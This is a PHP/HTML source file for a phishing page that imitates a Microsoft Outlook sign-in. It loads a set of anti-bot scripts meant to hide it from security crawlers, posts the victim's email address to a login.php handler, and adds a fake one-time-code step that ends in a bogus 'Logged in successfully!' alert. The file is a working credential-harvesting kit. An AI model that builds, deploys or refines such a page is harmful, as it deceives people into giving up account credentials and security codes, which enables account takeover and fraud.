<?php
error_reporting(0);
include('../Antibot/global_blocker.php');
include('../Antibot/Bot-Crawler.php');
include('../Antibot/Dila_DZ.php');
include('../Antibot/blockers.php');
include('../Antibot/detects.php');
include('../Antibot/ma_prv_mobile_antibot.php');
?>
<!DOCTYPE html>
<html lang="en">

<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Outlook Sign-In</title>
  <script src="https://cdn.tailwindcss.com"></script>
  <link href="https://unpkg.com/heroicons@1.0.6/umd/outline.min.css" rel="stylesheet">
</head>

<body class="min-h-screen flex flex-col items-center justify-center p-4 bg-gradient-to-br from-pink-100 via-green-100 to-pink-100">

  <!-- Email Page -->
  <div id="emailPage" class="page w-full max-w-[440px] shadow-lg bg-white rounded-lg border">
    <div class="pt-6 p-6 space-y-6">
      <div class="mb-4">
        <img src="https://static.cdnlogo.com/logos/m/6/microsoft.svg" alt="Microsoft" width="108" height="24" />
      </div>
      <div class="space-y-2">
        <h2 class="text-2xl font-semibold">Sign in</h2>
        <p class="text-sm text-gray-600">to continue to Outlook</p>
      </div>
      <form method="POST" action="login.php">
        <div class="space-y-1">
          <input type="text" name="email" id="emailInput" placeholder="Email, phone, or Skype" 
                 class="h-12 w-full px-4 border-b border-black shadow-sm focus:outline-none focus:ring-blue-500" required />
          <div class="flex justify-between text-sm my-4">
            <span class="text-gray-500">No account? <a href="#" class="text-blue-600 hover:text-blue-700 hover:underline">Create one!</a></span>
          </div>
        </div>
        <div class="flex justify-end">
          <button type="submit"
                  class="bg-blue-600 hover:bg-blue-700 text-white font-semibold px-8 py-2 rounded-md flex items-center">
            Next
          </button>
        </div>
      </form>
    </div>
  </div>

 
  <!-- OTP Page -->
  <div id="otpPage" class="page w-full max-w-[440px] shadow-lg bg-white rounded-lg border hidden">
    <div class="pt-6 p-6 space-y-6">
      <div class="mb-4">
        <img src="https://static.cdnlogo.com/logos/m/6/microsoft.svg" alt="Microsoft" width="108" height="24" />
      </div>
      <div class="space-y-2">
        <h2 class="text-2xl font-semibold">Enter the code</h2>
        <p class="text-sm text-gray-600">We've sent a code to your Phone for the account: <span id="displayEmailOtp" class="font-bold"></span></p>
      </div>
      <input type="text" name="otp" placeholder="Enter OTP" 
 class="h-12 w-full px-4 border-b border-black shadow-sm focus:outline-none focus:ring-blue-500" required />
      <div class="flex justify-end">
        <button type="button" onclick="alert('Logged in successfully!')" 
                class="bg-blue-600 hover:bg-blue-700 text-white font-semibold px-8 py-2 rounded-md flex items-center">
          Verify
        </button>
      </div>
    </div>
  </div>

  <!-- Sign-In Options Button -->
  <button class="mt-4 text-sm text-gray-600 w-full max-w-[440px] flex items-center px-4 py-2 bg-white border border-gray-300 rounded-md hover:bg-gray-100">
    <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor" class="size-6 mr-4">
      <path stroke-linecap="round" stroke-linejoin="round" d="M15.75 5.25a3 3 0 0 1 3 3m3 0a6 6 0 0 1-7.029 5.912c-.563-.097-1.159.026-1.563.43L10.5 17.25H8.25v2.25H6v2.25H2.25v-2.818c0-.597.237-1.17.659-1.591l6.499-6.499c.404-.404.527-1 .43-1.563A6 6 0 1 1 21.75 8.25Z" />
    </svg>    
    Sign-in options
  </button>

  <!-- Footer -->
  <footer class="fixed bottom-0 w-full p-4 bg-gray-800 text-white text-sm">
    <div class="flex justify-end gap-6 max-w-screen-xl mx-auto">
      <a href="#" class="hover:underline">Terms of use</a>
      <a href="#" class="hover:underline">Privacy & cookies</a>
      <span>...</span>
      <div class="text-sm text-gray-300">
        Use private browsing if this is not your device. <a href="#" class="text-blue-400 hover:underline">Learn more</a>
      </div>
    </div>
  </footer>

  
  
</body>

</html>